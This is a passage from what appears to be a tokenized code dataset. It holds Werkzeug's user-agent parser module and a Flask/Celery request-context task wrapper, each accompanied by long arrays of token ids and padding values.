0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
sk-yoh/qiaoy-byte
lib/werkzeug/useragents.py
317
5300
# -*- coding: utf-8 -*- """ werkzeug.useragents ~~~~~~~~~~~~~~~~~~~ This module provides a helper to inspect user agent strings. This module is far from complete but should work for most of the currently available browsers. :copyright: (c) 2013 by the Werkzeug Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ import re class UserAgentParser(object): """A simple user agent parser. Used by the `UserAgent`.""" platforms = ( ('iphone|ios', 'iphone'), ('ipad', 'ipad'), (r'darwin|mac|os\s*x', 'macos'), ('win', 'windows'), (r'android', 'android'), (r'x11|lin(\b|ux)?', 'linux'), ('(sun|i86)os', 'solaris'), (r'nintendo\s+wii', 'wii'), ('irix', 'irix'), ('hp-?ux', 'hpux'), ('aix', 'aix'), ('sco|unix_sv', 'sco'), ('bsd', 'bsd'), ('amiga', 'amiga'), ('blackberry|playbook', 'blackberry') ) browsers = ( ('googlebot', 'google'), ('msnbot', 'msn'), ('yahoo', 'yahoo'), ('ask jeeves', 'ask'), (r'aol|america\s+online\s+browser', 'aol'), ('opera', 'opera'), ('chrome', 'chrome'), ('firefox|firebird|phoenix|iceweasel', 'firefox'), ('galeon', 'galeon'), ('safari', 'safari'), ('webkit', 'webkit'), ('camino', 'camino'), ('konqueror', 'konqueror'), ('k-meleon', 'kmeleon'), ('netscape', 'netscape'), (r'msie|microsoft\s+internet\s+explorer', 'msie'), ('lynx', 'lynx'), ('links', 'links'), ('seamonkey|mozilla', 'seamonkey') ) _browser_version_re = r'(?:%s)[/\sa-z(]*(\d+[.\da-z]+)?(?i)' _language_re = re.compile( r'(?:;\s*|\s+)(\b\w{2}\b(?:-\b\w{2}\b)?)\s*;|' r'(?:\(|\[|;)\s*(\b\w{2}\b(?:-\b\w{2}\b)?)\s*(?:\]|\)|;)' ) def __init__(self): self.platforms = [(b, re.compile(a, re.I)) for a, b in self.platforms] self.browsers = [(b, re.compile(self._browser_version_re % a)) for a, b in self.browsers] def __call__(self, user_agent): for platform, regex in self.platforms: match = regex.search(user_agent) if match is not None: break else: platform = None for browser, regex in self.browsers: match = regex.search(user_agent) if match is not None: version = match.group(1) break else: browser = version = None match = self._language_re.search(user_agent) if match is not None: language = match.group(1) or match.group(2) else: language = None return platform, browser, version, language class UserAgent(object): """Represents a user agent. Pass it a WSGI environment or a user agent string and you can inspect some of the details from the user agent string via the attributes. The following attributes exist: .. attribute:: string the raw user agent string .. attribute:: platform the browser platform. The following platforms are currently recognized: - `aix` - `amiga` - `android` - `bsd` - `hpux` - `iphone` - `ipad` - `irix` - `linux` - `macos` - `sco` - `solaris` - `wii` - `windows` .. attribute:: browser the name of the browser. The following browsers are currently recognized: - `aol` * - `ask` * - `camino` - `chrome` - `firefox` - `galeon` - `google` * - `kmeleon` - `konqueror` - `links` - `lynx` - `msie` - `msn` - `netscape` - `opera` - `safari` - `seamonkey` - `webkit` - `yahoo` * (Browsers maked with a star (``*``) are crawlers.) .. attribute:: version the version of the browser .. attribute:: language the language of the browser """ _parser = UserAgentParser() def __init__(self, environ_or_string): if isinstance(environ_or_string, dict): environ_or_string = environ_or_string.get('HTTP_USER_AGENT', '') self.string = environ_or_string self.platform, self.browser, self.version, self.language = \ self._parser(environ_or_string) def to_header(self): return self.string def __str__(self): return self.string def __nonzero__(self): return bool(self.browser) __bool__ = __nonzero__ def __repr__(self): return '<%s %r/%s>' % ( self.__class__.__name__, self.browser, self.version ) # conceptionally this belongs in this module but because we want to lazily # load the user agent module (which happens in wrappers.py) we have to import # it afterwards. The class itself has the module set to this module so # pickle, inspect and similar modules treat the object as if it was really # implemented here. from werkzeug.wrappers import UserAgentMixin
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 10380, 14, 751, 14250, 272, 18294, 23597, 339, 961, 859, 6571, 282, 5922, 370, 6485, 922, 6631, 3326, 14, 221, 961, 859, 272, 365, 12474, 687, 4890, 1325, 1077, 1736, 367, 4750, 402, 314, 5544, 2808, 272, 23776, 14, 2378, 520, 7307, 26, 334, 67, 9, 6171, 701, 314, 22798, 11682, 12, 1937, 10610, 367, 1655, 2436, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 646, 295, 421, 199, 533, 2876, 7788, 2842, 8, 785, 304, 272, 408, 33, 3486, 922, 6631, 1798, 14, 221, 8051, 701, 314, 658, 1899, 7788, 17105, 339, 10677, 275, 334, 267, 661, 28303, 92, 9207, 297, 283, 28303, 659, 267, 661, 711, 350, 297, 283, 711, 350, 659, 267, 334, 82, 5121, 22822, 92, 3088, 92, 736, 60, 83, 10, 88, 297, 283, 391, 5197, 659, 267, 661, 2676, 297, 283, 8258, 659, 267, 334, 82, 7, 6238, 297, 283, 6238, 659, 267, 334, 82, 7, 88, 845, 92, 472, 2961, 66, 92, 2521, 5547, 297, 283, 5135, 659, 267, 23845, 11846, 92, 73, 1184, 9, 736, 297, 283, 7873, 4663, 659, 267, 334, 82, 7, 28693, 724, 1117, 60, 83, 11, 87, 5908, 297, 283, 87, 5908, 659, 267, 661, 73, 1904, 297, 283, 73, 1904, 659, 267, 661, 12025, 13, 31, 2521, 297, 283, 12025, 2521, 659, 267, 661, 65, 1148, 297, 283, 65, 1148, 659, 267, 661, 20845, 92, 11864, 63, 2772, 297, 283, 20845, 659, 267, 661, 15746, 297, 283, 15746, 659, 267, 661, 455, 29055, 297, 283, 455, 29055, 659, 267, 661, 8399, 605, 651, 92, 14205, 297, 283, 8399, 605, 651, 358, 272, 776, 272, 23776, 275, 334, 267, 661, 3098, 3018, 297, 283, 3098, 659, 267, 661, 706, 78, 3018, 297, 283, 706, 78, 659, 267, 661, 27231, 297, 283, 27231, 659, 267, 661, 813, 1335, 1024, 2310, 297, 283, 813, 659, 267, 334, 82, 7, 65, 393, 92, 313, 7127, 60, 83, 11, 15178, 60, 83, 11, 5750, 297, 283, 65, 393, 659, 267, 661, 2262, 65, 297, 283, 2262, 65, 659, 267, 661, 9887, 297, 283, 9887, 659, 267, 661, 15394, 92, 8935, 22488, 92, 21936, 287, 1148, 92, 1885, 1129, 482, 76, 297, 283, 15394, 659, 267, 661, 71, 1895, 265, 297, 283, 71, 1895, 265, 659, 267, 661, 2231, 70, 759, 297, 283, 2231, 70, 759, 659, 267, 661, 12554, 297, 283, 12554, 659, 267, 661, 15176, 10175, 297, 283, 15176, 10175, 659, 267, 661, 75, 265, 16891, 269, 297, 283, 75, 265, 16891, 269, 659, 267, 661, 75, 13, 278, 274, 265, 297, 283, 75, 278, 274, 265, 659, 267, 661, 846, 3588, 297, 283, 846, 3588, 659, 267, 334, 82, 6704, 23994, 92, 17040, 60, 83, 11, 4901, 60, 83, 11, 16971, 3859, 297, 283, 77, 23994, 659, 267, 661, 590, 7343, 297, 283, 590, 7343, 659, 267, 661, 4614, 297, 283, 4614, 659, 267, 661, 261, 455, 265, 498, 92, 12102, 297, 283, 261, 455, 265, 498, 358, 272, 776, 339, 485, 5750, 63, 1023, 63, 264, 275, 519, 10120, 2689, 83, 2788, 6307, 2231, 13, 90, 8, 3672, 2961, 68, 21324, 3134, 983, 13, 90, 23763, 2229, 73, 3171, 272, 485, 3671, 63, 264, 275, 295, 14, 2014, 8, 267, 519, 20459, 3779, 83, 10, 6113, 83, 27860, 66, 60, 87, 91, 18, 4988, 66, 5169, 2696, 66, 60, 87, 91, 18, 4988, 66, 5547, 2862, 83, 10, 27, 5227, 267, 519, 10120, 3427, 8, 6113, 59, 92, 27, 2862, 83, 22588, 66, 60, 87, 91, 18, 4988, 66, 5169, 2696, 66, 60, 87, 91, 18, 4988, 66, 5547, 2862, 83, 10, 15840, 61, 6113, 8636, 27, 3171, 272, 776, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 19601, 275, 3842, 66, 12, 295, 14, 2014, 8, 65, 12, 295, 14, 41, 430, 367, 282, 12, 330, 315, 291, 14, 19601, 61, 267, 291, 14, 5750, 83, 275, 3842, 66, 12, 295, 14, 2014, 8, 277, 423, 5750, 63, 1023, 63, 264, 450, 282, 430, 586, 367, 282, 12, 330, 315, 291, 14, 5750, 83, 61, 339, 347, 636, 1250, 721, 277, 12, 922, 63, 4054, 304, 267, 367, 4298, 12, 5163, 315, 291, 14, 19601, 26, 288, 1336, 275, 5163, 14, 1733, 8, 751, 63, 4054, 9, 288, 340, 1336, 365, 440, 488, 26, 355, 2059, 267, 587, 26, 288, 4298, 275, 488, 267, 367, 7042, 12, 5163, 315, 291, 14, 5750, 83, 26, 288, 1336, 275, 5163, 14, 1733, 8, 751, 63, 4054, 9, 288, 340, 1336, 365, 440, 488, 26, 355, 1015, 275, 1336, 14, 923, 8, 17, 9, 355, 2059, 267, 587, 26, 288, 7042, 275, 1015, 275, 488, 267, 1336, 275, 291, 423, 3671, 63, 264, 14, 1733, 8, 751, 63, 4054, 9, 267, 340, 1336, 365, 440, 488, 26, 288, 2637, 275, 1336, 14, 923, 8, 17, 9, 503, 1336, 14, 923, 8, 18, 9, 267, 587, 26, 288, 2637, 275, 488, 267, 372, 4298, 12, 7042, 12, 1015, 12, 2637, 421, 199, 533, 2876, 7788, 8, 785, 304, 272, 408, 18089, 282, 922, 6631, 14, 221, 8325, 652, 282, 9279, 3734, 503, 282, 922, 6631, 272, 1059, 436, 1265, 883, 6485, 2005, 402, 314, 2436, 687, 314, 922, 6631, 272, 1059, 4799, 314, 3004, 14, 221, 710, 2569, 3004, 2187, 26, 339, 2508, 2225, 447, 1059, 10817, 314, 3066, 922, 6631, 1059, 339, 2508, 2225, 447, 4298, 10817, 314, 7042, 4298, 14, 221, 710, 2569, 10677, 787, 5544, 2126, 18054, 26, 10817, 446, 257, 658, 65, 1148, 64, 2126, 446, 257, 658, 455, 29055, 64, 2126, 446, 257, 658, 6238, 64, 2126, 446, 257, 658, 15746, 64, 2126, 446, 257, 658, 12025, 2521, 64, 2126, 446, 257, 658, 28303, 64, 2126, 446, 257, 658, 711, 350, 64, 2126, 446, 257, 658, 73, 1904, 64, 2126, 446, 257, 658, 5135, 64, 2126, 446, 257, 658, 391, 5197, 64, 2126, 446, 257, 658, 20845, 64, 2126, 446, 257, 658, 7873, 4663, 64, 2126, 446, 257, 658, 87, 5908, 64, 2126, 446, 257, 658, 8258, 64, 339, 2508, 2225, 447, 7042, 398, 314, 536, 402, 314, 7042, 14 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 10380, 14, 751, 14250, 272, 18294, 23597, 339, 961, 859, 6571, 282, 5922, 370, 6485, 922, 6631, 3326, 14, 221, 961, 859, 272, 365, 12474, 687, 4890, 1325, 1077, 1736, 367, 4750, 402, 314, 5544, 2808, 272, 23776, 14, 2378, 520, 7307, 26, 334, 67, 9, 6171, 701, 314, 22798, 11682, 12, 1937, 10610, 367, 1655, 2436, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 646, 295, 421, 199, 533, 2876, 7788, 2842, 8, 785, 304, 272, 408, 33, 3486, 922, 6631, 1798, 14, 221, 8051, 701, 314, 658, 1899, 7788, 17105, 339, 10677, 275, 334, 267, 661, 28303, 92, 9207, 297, 283, 28303, 659, 267, 661, 711, 350, 297, 283, 711, 350, 659, 267, 334, 82, 5121, 22822, 92, 3088, 92, 736, 60, 83, 10, 88, 297, 283, 391, 5197, 659, 267, 661, 2676, 297, 283, 8258, 659, 267, 334, 82, 7, 6238, 297, 283, 6238, 659, 267, 334, 82, 7, 88, 845, 92, 472, 2961, 66, 92, 2521, 5547, 297, 283, 5135, 659, 267, 23845, 11846, 92, 73, 1184, 9, 736, 297, 283, 7873, 4663, 659, 267, 334, 82, 7, 28693, 724, 1117, 60, 83, 11, 87, 5908, 297, 283, 87, 5908, 659, 267, 661, 73, 1904, 297, 283, 73, 1904, 659, 267, 661, 12025, 13, 31, 2521, 297, 283, 12025, 2521, 659, 267, 661, 65, 1148, 297, 283, 65, 1148, 659, 267, 661, 20845, 92, 11864, 63, 2772, 297, 283, 20845, 659, 267, 661, 15746, 297, 283, 15746, 659, 267, 661, 455, 29055, 297, 283, 455, 29055, 659, 267, 661, 8399, 605, 651, 92, 14205, 297, 283, 8399, 605, 651, 358, 272, 776, 272, 23776, 275, 334, 267, 661, 3098, 3018, 297, 283, 3098, 659, 267, 661, 706, 78, 3018, 297, 283, 706, 78, 659, 267, 661, 27231, 297, 283, 27231, 659, 267, 661, 813, 1335, 1024, 2310, 297, 283, 813, 659, 267, 334, 82, 7, 65, 393, 92, 313, 7127, 60, 83, 11, 15178, 60, 83, 11, 5750, 297, 283, 65, 393, 659, 267, 661, 2262, 65, 297, 283, 2262, 65, 659, 267, 661, 9887, 297, 283, 9887, 659, 267, 661, 15394, 92, 8935, 22488, 92, 21936, 287, 1148, 92, 1885, 1129, 482, 76, 297, 283, 15394, 659, 267, 661, 71, 1895, 265, 297, 283, 71, 1895, 265, 659, 267, 661, 2231, 70, 759, 297, 283, 2231, 70, 759, 659, 267, 661, 12554, 297, 283, 12554, 659, 267, 661, 15176, 10175, 297, 283, 15176, 10175, 659, 267, 661, 75, 265, 16891, 269, 297, 283, 75, 265, 16891, 269, 659, 267, 661, 75, 13, 278, 274, 265, 297, 283, 75, 278, 274, 265, 659, 267, 661, 846, 3588, 297, 283, 846, 3588, 659, 267, 334, 82, 6704, 23994, 92, 17040, 60, 83, 11, 4901, 60, 83, 11, 16971, 3859, 297, 283, 77, 23994, 659, 267, 661, 590, 7343, 297, 283, 590, 7343, 659, 267, 661, 4614, 297, 283, 4614, 659, 267, 661, 261, 455, 265, 498, 92, 12102, 297, 283, 261, 455, 265, 498, 358, 272, 776, 339, 485, 5750, 63, 1023, 63, 264, 275, 519, 10120, 2689, 83, 2788, 6307, 2231, 13, 90, 8, 3672, 2961, 68, 21324, 3134, 983, 13, 90, 23763, 2229, 73, 3171, 272, 485, 3671, 63, 264, 275, 295, 14, 2014, 8, 267, 519, 20459, 3779, 83, 10, 6113, 83, 27860, 66, 60, 87, 91, 18, 4988, 66, 5169, 2696, 66, 60, 87, 91, 18, 4988, 66, 5547, 2862, 83, 10, 27, 5227, 267, 519, 10120, 3427, 8, 6113, 59, 92, 27, 2862, 83, 22588, 66, 60, 87, 91, 18, 4988, 66, 5169, 2696, 66, 60, 87, 91, 18, 4988, 66, 5547, 2862, 83, 10, 15840, 61, 6113, 8636, 27, 3171, 272, 776, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 19601, 275, 3842, 66, 12, 295, 14, 2014, 8, 65, 12, 295, 14, 41, 430, 367, 282, 12, 330, 315, 291, 14, 19601, 61, 267, 291, 14, 5750, 83, 275, 3842, 66, 12, 295, 14, 2014, 8, 277, 423, 5750, 63, 1023, 63, 264, 450, 282, 430, 586, 367, 282, 12, 330, 315, 291, 14, 5750, 83, 61, 339, 347, 636, 1250, 721, 277, 12, 922, 63, 4054, 304, 267, 367, 4298, 12, 5163, 315, 291, 14, 19601, 26, 288, 1336, 275, 5163, 14, 1733, 8, 751, 63, 4054, 9, 288, 340, 1336, 365, 440, 488, 26, 355, 2059, 267, 587, 26, 288, 4298, 275, 488, 267, 367, 7042, 12, 5163, 315, 291, 14, 5750, 83, 26, 288, 1336, 275, 5163, 14, 1733, 8, 751, 63, 4054, 9, 288, 340, 1336, 365, 440, 488, 26, 355, 1015, 275, 1336, 14, 923, 8, 17, 9, 355, 2059, 267, 587, 26, 288, 7042, 275, 1015, 275, 488, 267, 1336, 275, 291, 423, 3671, 63, 264, 14, 1733, 8, 751, 63, 4054, 9, 267, 340, 1336, 365, 440, 488, 26, 288, 2637, 275, 1336, 14, 923, 8, 17, 9, 503, 1336, 14, 923, 8, 18, 9, 267, 587, 26, 288, 2637, 275, 488, 267, 372, 4298, 12, 7042, 12, 1015, 12, 2637, 421, 199, 533, 2876, 7788, 8, 785, 304, 272, 408, 18089, 282, 922, 6631, 14, 221, 8325, 652, 282, 9279, 3734, 503, 282, 922, 6631, 272, 1059, 436, 1265, 883, 6485, 2005, 402, 314, 2436, 687, 314, 922, 6631, 272, 1059, 4799, 314, 3004, 14, 221, 710, 2569, 3004, 2187, 26, 339, 2508, 2225, 447, 1059, 10817, 314, 3066, 922, 6631, 1059, 339, 2508, 2225, 447, 4298, 10817, 314, 7042, 4298, 14, 221, 710, 2569, 10677, 787, 5544, 2126, 18054, 26, 10817, 446, 257, 658, 65, 1148, 64, 2126, 446, 257, 658, 455, 29055, 64, 2126, 446, 257, 658, 6238, 64, 2126, 446, 257, 658, 15746, 64, 2126, 446, 257, 658, 12025, 2521, 64, 2126, 446, 257, 658, 28303, 64, 2126, 446, 257, 658, 711, 350, 64, 2126, 446, 257, 658, 73, 1904, 64, 2126, 446, 257, 658, 5135, 64, 2126, 446, 257, 658, 391, 5197, 64, 2126, 446, 257, 658, 20845, 64, 2126, 446, 257, 658, 7873, 4663, 64, 2126, 446, 257, 658, 87, 5908, 64, 2126, 446, 257, 658, 8258, 64, 339, 2508, 2225, 447, 7042, 398, 314, 536, 402, 314, 7042, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mananwason/open-event-android
apk-generator/v2/app/utils/libs/request_context_task.py
17
3427
""" Celery task wrapper to set request context vars and global vars when a task is executed Based on http://xion.io/post/code/celery-include-flask-request-context.html """ from celery import Task from flask import has_request_context, request, g from app import current_app as app __all__ = ['RequestContextTask'] class RequestContextTask(Task): """Base class for tasks that originate from Flask request handlers and carry over most of the request context data. This has an advantage of being able to access all the usual information that the HTTP request has and use them within the task. Pontential use cases include e.g. formatting URLs for external use in emails sent by tasks. """ abstract = True #: Name of the additional parameter passed to tasks #: that contains information about the original Flask request context. CONTEXT_ARG_NAME = '_flask_request_context' GLOBALS_ARG_NAME = '_flask_global_proxy' GLOBAL_KEYS = ['user'] def __call__(self, *args, **kwargs): """Execute task code with given arguments.""" call = lambda: super(RequestContextTask, self).__call__(*args, **kwargs) # set context context = kwargs.pop(self.CONTEXT_ARG_NAME, None) gl = kwargs.pop(self.GLOBALS_ARG_NAME, {}) if context is None or has_request_context(): return call() with app.test_request_context(**context): # set globals for i in gl: setattr(g, i, gl[i]) # call result = call() # process a fake "Response" so that # ``@after_request`` hooks are executed # app.process_response(make_response(result or '')) return result def apply_async(self, args=None, kwargs=None, **rest): # if rest.pop('with_request_context', True): self._include_request_context(kwargs) self._include_global(kwargs) return super(RequestContextTask, self).apply_async(args, kwargs, **rest) def apply(self, args=None, kwargs=None, **rest): # if rest.pop('with_request_context', True): self._include_request_context(kwargs) self._include_global(kwargs) return super(RequestContextTask, self).apply(args, kwargs, **rest) def retry(self, args=None, kwargs=None, **rest): # if rest.pop('with_request_context', True): self._include_request_context(kwargs) self._include_global(kwargs) return super(RequestContextTask, self).retry(args, kwargs, **rest) def _include_request_context(self, kwargs): """Includes all the information about current Flask request context as an additional argument to the task. """ if not has_request_context(): return # keys correspond to arguments of :meth:`Flask.test_request_context` context = { 'path': request.path, 'base_url': request.url_root, 'method': request.method, 'headers': dict(request.headers), } if '?' in request.url: context['query_string'] = request.url[(request.url.find('?') + 1):] kwargs[self.CONTEXT_ARG_NAME] = context def _include_global(self, kwargs): d = {} for z in self.GLOBAL_KEYS: if hasattr(g, z): d[z] = getattr(g, z) kwargs[self.GLOBALS_ARG_NAME] = d
gpl-3.0
[ 624, 199, 35, 19028, 2120, 4975, 370, 663, 1056, 1067, 6802, 436, 2288, 199, 2936, 1380, 282, 2120, 365, 7934, 199, 20409, 641, 1455, 921, 88, 1636, 14, 2308, 15, 1932, 15, 600, 15, 23593, 13, 2613, 13, 15720, 13, 1069, 13, 1100, 14, 1360, 199, 624, 199, 504, 22748, 492, 8495, 199, 504, 7209, 492, 965, 63, 1069, 63, 1100, 12, 1056, 12, 486, 199, 199, 504, 1145, 492, 1453, 63, 571, 465, 1145, 199, 199, 363, 452, 363, 275, 788, 17679, 4476, 418, 421, 199, 533, 22538, 4476, 8, 4476, 304, 272, 408, 1563, 1021, 367, 6527, 626, 6330, 323, 687, 16704, 1056, 8297, 272, 436, 25176, 1806, 4750, 402, 314, 1056, 1067, 666, 14, 272, 961, 965, 376, 30268, 402, 3769, 7688, 370, 2879, 1006, 314, 20195, 2556, 272, 626, 314, 3101, 1056, 965, 436, 675, 3062, 4453, 314, 2120, 14, 510, 265, 9443, 272, 675, 5560, 2387, 325, 14, 71, 14, 10803, 10867, 367, 5957, 675, 315, 14931, 4847, 272, 701, 6527, 14, 272, 408, 272, 9006, 275, 715, 339, 6079, 2812, 402, 314, 4722, 2725, 3032, 370, 6527, 272, 6079, 626, 3509, 2556, 3595, 314, 3379, 16704, 1056, 1067, 14, 272, 1868, 3876, 63, 11611, 63, 2339, 275, 2513, 15720, 63, 1069, 63, 1100, 7, 272, 598, 12667, 51, 63, 11611, 63, 2339, 275, 2513, 15720, 63, 2966, 63, 3280, 7, 272, 598, 12667, 63, 17434, 275, 788, 751, 418, 339, 347, 636, 1250, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 12049, 2120, 1233, 543, 1627, 2368, 1041, 267, 1240, 275, 2400, 26, 1613, 8, 17679, 4476, 12, 291, 2843, 1250, 9308, 589, 12, 1011, 958, 9, 398, 327, 663, 1067, 267, 1067, 275, 2074, 14, 1935, 8, 277, 14, 9059, 63, 11611, 63, 2339, 12, 488, 9, 267, 6482, 275, 2074, 14, 1935, 8, 277, 14, 13808, 51, 63, 11611, 63, 2339, 12, 5009, 398, 340, 1067, 365, 488, 503, 965, 63, 1069, 63, 1100, 837, 288, 372, 1240, 342, 398, 543, 1145, 14, 396, 63, 1069, 63, 1100, 3682, 1100, 304, 288, 327, 663, 7992, 288, 367, 284, 315, 6482, 26, 355, 5371, 8, 71, 12, 284, 12, 6482, 59, 73, 566, 288, 327, 1240, 288, 754, 275, 1240, 342, 288, 327, 2112, 282, 4026, 298, 2364, 2, 880, 626, 288, 327, 1124, 32, 4399, 63, 1069, 1040, 12604, 787, 7934, 288, 327, 1145, 14, 1412, 63, 1310, 8, 1875, 63, 1310, 8, 1099, 503, 12381, 398, 372, 754, 339, 347, 4838, 63, 4146, 8, 277, 12, 1249, 29, 403, 12, 2074, 29, 403, 12, 1011, 3911, 304, 267, 327, 340, 4618, 14, 1935, 360, 1045, 63, 1069, 63, 1100, 297, 715, 304, 267, 291, 423, 2613, 63, 1069, 63, 1100, 8, 958, 9, 267, 291, 423, 2613, 63, 2966, 8, 958, 9, 267, 372, 1613, 8, 17679, 4476, 12, 291, 680, 4998, 63, 4146, 8, 589, 12, 2074, 12, 1011, 3911, 9, 339, 347, 4838, 8, 277, 12, 1249, 29, 403, 12, 2074, 29, 403, 12, 1011, 3911, 304, 267, 327, 340, 4618, 14, 1935, 360, 1045, 63, 1069, 63, 1100, 297, 715, 304, 267, 291, 423, 2613, 63, 1069, 63, 1100, 8, 958, 9, 267, 291, 423, 2613, 63, 2966, 8, 958, 9, 267, 372, 1613, 8, 17679, 4476, 12, 291, 680, 4998, 8, 589, 12, 2074, 12, 1011, 3911, 9, 339, 347, 7269, 8, 277, 12, 1249, 29, 403, 12, 2074, 29, 403, 12, 1011, 3911, 304, 267, 327, 340, 4618, 14, 1935, 360, 1045, 63, 1069, 63, 1100, 297, 715, 304, 267, 291, 423, 2613, 63, 1069, 63, 1100, 8, 958, 9, 267, 291, 423, 2613, 63, 2966, 8, 958, 9, 267, 372, 1613, 8, 17679, 4476, 12, 291, 680, 7154, 8, 589, 12, 2074, 12, 1011, 3911, 9, 339, 347, 485, 2613, 63, 1069, 63, 1100, 8, 277, 12, 2074, 304, 267, 408, 22792, 1006, 314, 2556, 3595, 1453, 16704, 1056, 1067, 267, 465, 376, 4722, 1423, 370, 314, 2120, 14, 267, 408, 267, 340, 440, 965, 63, 1069, 63, 1100, 837, 288, 372, 398, 327, 2883, 17118, 370, 2368, 402, 520, 5247, 1705, 14182, 14, 396, 63, 1069, 63, 1100, 64, 267, 1067, 275, 469, 288, 283, 515, 356, 1056, 14, 515, 12, 288, 283, 1095, 63, 633, 356, 1056, 14, 633, 63, 1231, 12, 288, 283, 765, 356, 1056, 14, 765, 12, 288, 283, 2139, 356, 1211, 8, 1069, 14, 2139, 395, 267, 789, 267, 340, 15539, 315, 1056, 14, 633, 26, 288, 1067, 459, 1131, 63, 875, 418, 275, 1056, 14, 633, 7528, 1069, 14, 633, 14, 1623, 360, 18478, 435, 413, 15405, 398, 2074, 59, 277, 14, 9059, 63, 11611, 63, 2339, 61, 275, 1067, 339, 347, 485, 2613, 63, 2966, 8, 277, 12, 2074, 304, 267, 366, 275, 1052, 267, 367, 1315, 315, 291, 14, 13808, 63, 17434, 26, 288, 340, 2688, 8, 71, 12, 1315, 304, 355, 366, 59, 90, 61, 275, 2519, 8, 71, 12, 1315, 9, 267, 2074, 59, 277, 14, 13808, 51, 63, 11611, 63, 2339, 61, 275, 366, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 35, 19028, 2120, 4975, 370, 663, 1056, 1067, 6802, 436, 2288, 199, 2936, 1380, 282, 2120, 365, 7934, 199, 20409, 641, 1455, 921, 88, 1636, 14, 2308, 15, 1932, 15, 600, 15, 23593, 13, 2613, 13, 15720, 13, 1069, 13, 1100, 14, 1360, 199, 624, 199, 504, 22748, 492, 8495, 199, 504, 7209, 492, 965, 63, 1069, 63, 1100, 12, 1056, 12, 486, 199, 199, 504, 1145, 492, 1453, 63, 571, 465, 1145, 199, 199, 363, 452, 363, 275, 788, 17679, 4476, 418, 421, 199, 533, 22538, 4476, 8, 4476, 304, 272, 408, 1563, 1021, 367, 6527, 626, 6330, 323, 687, 16704, 1056, 8297, 272, 436, 25176, 1806, 4750, 402, 314, 1056, 1067, 666, 14, 272, 961, 965, 376, 30268, 402, 3769, 7688, 370, 2879, 1006, 314, 20195, 2556, 272, 626, 314, 3101, 1056, 965, 436, 675, 3062, 4453, 314, 2120, 14, 510, 265, 9443, 272, 675, 5560, 2387, 325, 14, 71, 14, 10803, 10867, 367, 5957, 675, 315, 14931, 4847, 272, 701, 6527, 14, 272, 408, 272, 9006, 275, 715, 339, 6079, 